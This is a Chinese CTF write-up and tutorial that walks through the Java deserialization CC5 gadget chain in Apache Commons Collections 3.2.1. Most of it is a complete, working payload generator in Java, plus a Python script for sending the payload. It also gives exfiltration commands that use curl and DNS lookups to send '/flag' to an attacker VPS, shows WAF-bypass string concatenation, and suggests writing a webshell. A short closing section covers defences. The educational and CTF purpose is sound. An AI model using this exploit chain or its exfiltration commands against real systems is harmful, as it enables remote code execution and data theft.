1. 从一道CTF题看Java反序列化的“艺术”

最近在复盘一场CTF比赛,遇到了一道典型的Java反序列化题目,它巧妙地利用了Apache Commons Collections库中的CC5利用链。这道题本身并不复杂,但解题过程却像剥洋葱一样,一层层揭示了Java反序列化漏洞利用的精妙之处。对于很多刚接触Java安全或者CTF Web方向的朋友来说,反序列化漏洞总是带着一层神秘面纱,尤其是各种以“CC”开头的利用链,听起来就让人头大。今天,我就以这道实战题目为引子,带你彻底拆解CC5链,不仅让你看懂这道题怎么解,更让你明白它为什么能这么解,以及在实际的代码审计和漏洞利用中,我们该如何思考和操作。

简单来说,这道题给了一个Java Web应用,存在一个接收序列化数据的接口。你的目标就是构造一个特殊的序列化数据(Payload),让服务端在反序列化时执行你预设的命令,从而拿到藏在服务器上的flag。题目提示了涉及Apache Commons Collections库,这几乎明示了要使用经典的CC链。而CC5链,作为CC1链在高版本Java(8u71之后)受限后的重要补充,其利用思路非常经典,涉及 TiedMapEntry LazyMap BadAttributeValueExpException 等多个关键类的巧妙组合。理解它,是深入Java反序列化漏洞利用的必经之路。

2. 题目环境与核心思路解析

2.1 目标场景与漏洞点定位

首先,我们需要模拟出题目的环境。通常,这类题目的后端代码核心会包含类似下面的片段:

// 伪代码,模拟存在漏洞的端点
@PostMapping("/vuln-endpoint")
public String processData(@RequestBody byte[] data) {
    try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
        Object obj = ois.readObject(); // 危险的反序列化操作
        // ... 后续处理 ...
        return "Processing completed.";
    } catch (Exception e) {
        return "Error occurred.";
    }
}

漏洞点非常清晰:程序直接对用户可控的二进制数据进行了 ObjectInputStream.readObject() 反序列化操作,且类路径下包含了有问题的第三方库——Apache Commons Collections(版本通常为3.x, 例如3.2.1)。这个库提供了一系列好用的集合类工具,但其中一些类的设计在特定组合下,会形成危险的“利用链”(Gadget Chain)。

我们的核心攻击思路,就是构造一个对象,这个对象在被反序列化时,其 readObject 方法会触发一系列连锁调用,最终导向 Runtime.getRuntime().exec(“恶意命令”) 。CC5链就是实现这一目标的“剧本”之一。

2.2 为什么是CC5?CC1的局限与CC5的登场

在深入CC5之前,必须提一下它的前辈CC1。CC1链的核心是利用 TransformedMap LazyMap 配合 AnnotationInvocationHandler AnnotationInvocationHandler readObject 方法会遍历Map并调用其 setValue get 方法,从而触发我们预设的 Transformer 调用链。

然而,这个链在Java 8u71版本之后失效了。因为从该版本起, AnnotationInvocationHandler readObject 方法逻辑被修改,不再以相同的方式触发Map的修改操作。这就迫使安全研究人员寻找新的“入口类”(即反序列化时第一个被自动调用的 readObject 的类)。

CC5链应运而生。它找到了一个新的入口类: javax.management.BadAttributeValueExpException 。这个类在反序列化时,会调用其成员变量的 toString 方法。通过精心构造,我们可以让这个 toString 调用一路传递,最终触发命令执行。CC5链完美避开了对 AnnotationInvocationHandler 的依赖,因此在更高版本的Java环境中依然有效。

3. CC5利用链的深度拆解

一条完整的利用链,就像一套精密的多米诺骨牌。我们需要理解每一张“牌”是什么,以及它们是如何被推倒并传递动力的。

3.1 链式调用全景图

先来看CC5链的完整调用栈(Gadget Chain):

java.io.ObjectInputStream.readObject()
    javax.management.BadAttributeValueExpException.readObject()
        valMember.toString()
            org.apache.commons.collections.keyvalue.TiedMapEntry.toString()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()

我们来逐层拆解这个调用过程:

  1. 起点(入口点) BadAttributeValueExpException.readObject() 。这是反序列化过程自动触发的起点。在该类的 readObject 方法中,有一行关键代码: valObj.toString() 。这里的 valObj 是它的一个成员变量。
  2. 桥梁 :我们将 valObj 设置为一个 TiedMapEntry 对象。因此, valObj.toString() 实际上调用了 TiedMapEntry.toString()
  3. 触发器 TiedMapEntry.toString() 方法内部调用了 this.getValue()
  4. 核心枢纽 TiedMapEntry.getValue() 方法内部调用了 this.map.get(this.key) 。这里, this.map 被我们设置为一个 LazyMap 对象。
  5. 执行引擎 LazyMap.get(key) 方法是整个链的“发动机”。当 LazyMap 中不存在某个key时,它会使用一个 Transformer (我们预设的 ChainedTransformer )来“懒加载”一个值。这个 Transformer 就是我们植入的恶意代码。
  6. 命令执行 ChainedTransformer 包含了一系列 InvokerTransformer ,它们通过Java反射机制,最终调用 Runtime.getRuntime().exec(“cmd”) ,完成命令执行。

3.2 关键类与方法的剖析

  • BadAttributeValueExpException : 来自Java标准库( javax.management )。它的 readObject 方法在反序列化时会读取一个字段 val ,并调用其 toString() 。我们需要通过反射,在序列化前将 val 字段设置为我们构造的 TiedMapEntry 对象。这里有个小坑:该类的构造函数或某些条件可能会影响 val 的赋值,通常我们直接通过反射来设置,确保可控。

  • TiedMapEntry (Apache Commons Collections) : 这是一个键值对包装类。它有两个关键方法:

    • getValue() : 返回 map.get(key) 的结果。
    • toString() : 内部调用了 getValue() 。 正是 toString() getValue() 的调用,将入口点的触发传递到了我们的 LazyMap 上。
  • LazyMap (Apache Commons Collections) : 这是一个装饰器模式的Map。它的核心特性是:当你调用 get(key) 方法时,如果Map中不存在这个key,它会使用一个 Transformer 工厂来生成一个value,并将其放入Map。这个“工厂”就是我们恶意的 ChainedTransformer 。我们需要确保在触发时, LazyMap 没有 我们指定的key,这样才能走到 transform 的逻辑。

  • ChainedTransformer InvokerTransformer (Apache Commons Collections) : 这是最终执行恶意代码的地方。

    • ChainedTransformer : 像一个流水线,按顺序执行一组 Transformer
    • InvokerTransformer : 一个危险的 Transformer ,它可以通过反射调用任意对象的任意方法。 我们构造的 ChainedTransformer 通常包含以下步骤的 InvokerTransformer
    1. ConstantTransformer(Runtime.class) : 获取 Runtime 的Class对象。
    2. InvokerTransformer(“getMethod”, …) : 反射调用 getMethod(“getRuntime”) ,获取 getRuntime 这个静态方法。
    3. InvokerTransformer(“invoke”, …) : 反射调用上一步获取的方法(传入null,因为是静态方法),得到 Runtime.getRuntime() 返回的 Runtime 单例对象。
    4. InvokerTransformer(“exec”, …) : 反射调用 runtime.exec(“你的命令”)

关键理解 :整个链的精髓在于“控制流转移”。利用反序列化自动调用 readObject 的特性,从一个无害的异常类开始,通过一系列符合语法的、看似正常的类方法调用( toString -> getValue -> get -> transform ),将程序的控制流一步步引导到我们预设的反射调用上,最终达成任意命令执行。这完全是在利用Java对象序列化/反序列化机制和库类本身的功能,没有修改任何字节码。

4. 手把手构造CC5利用Payload

理论讲完了,我们直接上代码,看看如何从零构造一个能弹计算器(或执行其他命令)的Payload。这里我会用最清晰的步骤,并解释每一步的意图和可能遇到的坑。

4.1 环境准备与依赖

首先,你需要一个Java项目,并引入有漏洞的Commons Collections库。以Maven为例:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version> <!-- 经典漏洞版本 -->
</dependency>

我们的攻击代码(生成Payload的代码)和靶场代码可以放在同一个项目里,方便测试。

4.2 分步构造Payload

以下是完整的、带有详细注释的Payload生成代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5PayloadGenerator {
    public static void main(String[] args) throws Exception {
        // 步骤1:构造最终执行命令的 Transformer 链
        // 这是我们的恶意代码“指令集”
        Transformer[] transformers = new Transformer[]{
                // 第一步:获取 Runtime.class 对象
                new ConstantTransformer(Runtime.class),
                // 第二步:反射调用 Runtime.class.getMethod("getRuntime"),得到一个Method对象
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                // 第三步:反射调用 method.invoke(null),执行静态方法 getRuntime(),得到 Runtime 实例
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),
                // 第四步:反射调用 runtime.exec("calc"),弹出计算器
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"} // Linux/Mac可改为"/bin/bash", "-c", "your_command"
                )
        };

        // 将多个Transformer串联成一个执行链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 步骤2:创建 LazyMap 并绑定 Transformer 链
        // 先创建一个空的HashMap作为LazyMap的底层Map
        Map innerMap = new HashMap();
        // 使用 LazyMap.decorate 方法,将 innerMap 装饰成 LazyMap,并指定转换工厂为 chainedTransformer
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

        // 步骤3:创建 TiedMapEntry,将其与 LazyMap 绑定
        // TiedMapEntry 的构造参数是 Map 和一个 key。
        // 注意:这个 key (“pwn”) 在 lazyMap 中必须不存在,否则后续 get() 不会触发 transform
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "pwn");

        // 步骤4:创建 BadAttributeValueExpException 并注入 TiedMapEntry
        BadAttributeValueExpException badAttributeExp = new BadAttributeValueExpException(null);
        // 通过反射获取其私有字段 `val`,并将值设置为我们的 tiedMapEntry
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true); // 突破私有限制
        valField.set(badAttributeExp, tiedMapEntry);

        // 步骤5:序列化恶意对象
        byte[] serializedPayload = serialize(badAttributeExp);
        System.out.println("Payload 生成成功,长度: " + serializedPayload.length + " 字节");

        // 步骤6:本地模拟反序列化触发(测试用)
        System.out.println("开始模拟反序列化...");
        unserialize(serializedPayload);
        System.out.println("如果看到计算器弹出,则链构造成功!");
    }

    // 序列化工具方法
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(obj);
        }
        return baos.toByteArray();
    }

    // 反序列化工具方法(模拟靶机)
    public static void unserialize(byte[] bytes) throws Exception {
        try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            ois.readObject(); // 触发点
        }
    }
}

运行这段代码,如果你的环境配置正确,应该会看到系统计算器被弹出。这说明我们构造的Payload是有效的。

4.3 关键步骤的“避坑”指南

在实际构造中,你可能会遇到一些意想不到的问题,下面是我踩过坑后总结的经验:

  1. LazyMap 的Key必须不存在 :这是最容易出错的地方。在构造 TiedMapEntry 时,我们传入了一个key(例如 ”pwn” )。这个key在 lazyMap 中必须 不存在 。如果 lazyMap 里已经有了这个key,那么 lazyMap.get(“pwn”) 会直接返回已有的value,而不会触发 transform 工厂方法。我们的 innerMap 一开始就是空的,所以这一点自然满足。但在更复杂的链构造中(比如CC6),如果之前不小心调用了 put 或触发了 get ,就需要手动 remove 这个key。

  2. BadAttributeValueExpException 的val字段赋值 :直接通过构造函数 new BadAttributeValueExpException(tiedMapEntry) 在某些JDK版本下可能无效,因为其 readObject 逻辑可能对 val 有特殊处理。最稳妥的方式就是像上面代码一样,通过反射直接设置私有字段 val 。这是通用性最强的做法。

  3. 命令的兼容性 Runtime.exec() 执行命令是平台相关的。在Windows上弹计算器是 ”calc.exe” ,在Linux/Mac上可能是 ”gnome-calculator” ”open -a Calculator” 。在CTF中,通常目标是获取flag,所以命令可能是 ”/bin/sh”, “-c”, “cat /flag” ”powershell -c …” 。构造Payload时要考虑目标服务器的操作系统。

  4. JDK版本问题 :CC5链虽然绕过了 AnnotationInvocationHandler 的限制,但它依赖的 BadAttributeValueExpException 类在 极少数 非常老的JDK版本中可能不存在或行为不同。主流的JDK 7/8/11+都是可用的。在CTF比赛中,出题人通常会确保环境兼容。

  5. Commons Collections版本 :务必使用存在漏洞的版本,如3.2.1。3.2.2版本修复了相关漏洞。你可以通过Maven引入,或者直接下载jar包。

5. 实战CTF题解与高级利用技巧

现在,让我们回到最初的CTF题目。假设题目提供了一个Web接口,接收POST请求,Body是序列化后的二进制数据。我们的解题流程如下:

5.1 信息收集与确认

  1. 确认漏洞点 :通过题目描述、源码泄露(如 .git )、或报错信息,确认存在 ObjectInputStream.readObject() 且类路径下有 commons-collections-3.2.1.jar
  2. 确定利用链 :题目提示或通过常见链探测,确定使用CC5链。你可以先发送一个简单的CC1 Payload(如果环境是低版本Java),如果失败,再尝试CC5、CC6等。

5.2 生成与发送Payload

我们不会在本地弹计算器,而是要执行能读取flag或反弹shell的命令。

// 修改 transformers 数组中的最后一条命令
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        // 假设flag在 /flag 文件,使用 curl 外带数据到你的服务器
        new InvokerTransformer("exec",
                new Class[]{String[].class},
                new Object[]{new String[]{"/bin/bash", "-c", "curl http://your-vps-ip:port/`cat /flag`"}}
        )
        // 或者使用 base64 编码避免特殊字符问题
        // new Object[]{new String[]{"/bin/bash", "-c", "echo `cat /flag|base64` | xxd -p -r | base64 -d | curl -X POST --data-binary @- http://your-vps-ip:port"}}
};

生成Payload的代码不变,只是替换了命令部分。然后,将 serialize(badAttributeExp) 得到的 byte[] 数组,通过Burp Suite、Python脚本或其他工具,以二进制形式发送到目标接口。

# 一个简单的Python发送示例
import requests

with open('cc5_payload.bin', 'rb') as f:
    payload = f.read()

url = 'http://靶机地址:端口/vuln-endpoint'
headers = {'Content-Type': 'application/octet-stream'} # 有时需要这个头
resp = requests.post(url, data=payload, headers=headers)
print(resp.text)

5.3 无回显命令执行与盲注

很多CTF题目是“无回显”的,即命令执行了,但响应里看不到结果。这时就需要“外带数据”(Out-of-Band, OOB)。

  • DNS外带 :使用 ping nslookup 命令,将flag作为域名的一部分发送到你的DNS服务器。
    • 命令示例: /bin/bash -c “ping cat /flag | tr -d ‘\n’ .your-vps-ip.dnslog.cn”
    • 你需要使用一个DNSLog平台(如ceye.io, dnslog.cn)来接收记录。
  • HTTP外带 :如上例所示,使用 curl wget 将flag作为URL参数或POST数据发送到你的HTTP服务器。
    • 在你的VPS上使用 nc -lvp 80 python3 -m http.server 80 监听。
  • 延时盲注 :如果网络完全不通,可以考虑使用 sleep 命令通过响应时间来判断命令是否执行成功(布尔盲注),但这在反序列化漏洞利用中比较少见。

5.4 绕过可能的限制

实战或比赛中,可能会遇到一些限制:

  • SecurityManager/沙箱 :如果目标设置了Java安全管理器,可能会禁止执行命令或反射。这时需要寻找其他利用链(如CC链的TemplatesImpl加载字节码),或者利用现有类进行文件读写、SSRF等。
  • WAF/过滤 :可能会过滤 Runtime exec invoke 等关键词。可以采用反射字符串拼接、编码(如Base64、Hex)、或使用其他类(如 ProcessBuilder )来绕过。
    • 例如,用 (String)Class.forName(“java.lang.Run”+”time”).getMethod(“getRun”+”time”).invoke(null) 来拼接。
  • 不出网 :目标服务器无法访问外网。这时可能需要尝试写入Webshell到可访问目录,或者利用反序列化触发本地文件读取,将flag打印到HTTP响应中(如果应用有回显的话)。

6. 从CC5到CC6:利用链的通用化演进

在文章开头提到的参考资料中,提到了CC6链。CC6可以看作是CC5的一个“通用化”升级版。它的核心改进在于 入口点

  • CC5的入口点 BadAttributeValueExpException 。这个类并非在所有环境中都可用(例如某些受限的J2EE环境可能没有引入JMX相关包)。
  • CC6的入口点 java.util.HashMap 。这是Java标准库中最常用、几乎必然存在的类之一,通用性极强。

CC6链的调用栈大致如下:

HashMap.readObject()
 -> HashMap.hash()
    -> TiedMapEntry.hashCode() // 这里调用了 getValue()
       -> TiedMapEntry.getValue()
          -> LazyMap.get()
             ... // 后续和CC5一样

它利用 HashMap 在反序列化时为了计算哈希值,会调用其键(Key)的 hashCode() 方法。如果我们把 HashMap 的Key设置为 TiedMapEntry 对象,那么就会触发后续链条。CC6的构造需要额外注意在 put 操作时避免提前触发漏洞,通常采用“先占位后替换”的技巧,这在参考资料中也有体现。

理解CC5是理解CC6的基础。它们共享了从 TiedMapEntry LazyMap 再到 ChainedTransformer 的后半段“执行链”,只是启动这段链的“扳机”不同。掌握了这种“入口点”寻找和“链式调用”构造的思维,你就能更好地理解和利用其他反序列化漏洞。

7. 防御视角与安全开发建议

作为攻击者,我们研究利用链;作为开发者,我们更应思考如何防御。

  1. 升级与替换 :最根本的,将Apache Commons Collections库升级到安全版本(如4.4+,但要注意API变化),或使用其他安全的替代库(如Google Guava)。
  2. 反序列化过滤 :不要直接反序列化不可信数据。如果必须使用,应实施严格的反序列化过滤器。
    • Java 9+ :使用 ObjectInputFilter (JEP 290)来定义允许或拒绝反序列化的类白名单/黑名单。
    • 第三方库 :使用如 SerialKiller Hessian SerializerFactory 白名单等。
  3. 代码审计重点 :在代码审计中,重点关注 ObjectInputStream.readObject() readUnshared() XMLDecoder XStream Hessian Kryo 等反序列化操作的点,其输入源是否用户可控。
  4. 运行时防护 :在容器或应用层面,可以使用RASP(运行时应用自保护)技术来监控和阻断危险的反射、命令执行等行为。

这道CTF题目就像一把钥匙,打开了Java反序列化漏洞利用的大门。CC5链的构造过程,充满了对Java对象模型、序列化机制和第三方库代码的深刻理解。从分析 readObject 入口,到串联 toString getValue get transform 这一系列方法调用,再到最终通过反射执行命令,每一步都需要精准的控制。希望这篇详细的拆解,能帮助你不仅解出这道题,更能建立起分析Java反序列化利用链的通用方法论。在安全研究的道路上,知其然,更要知其所以然。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐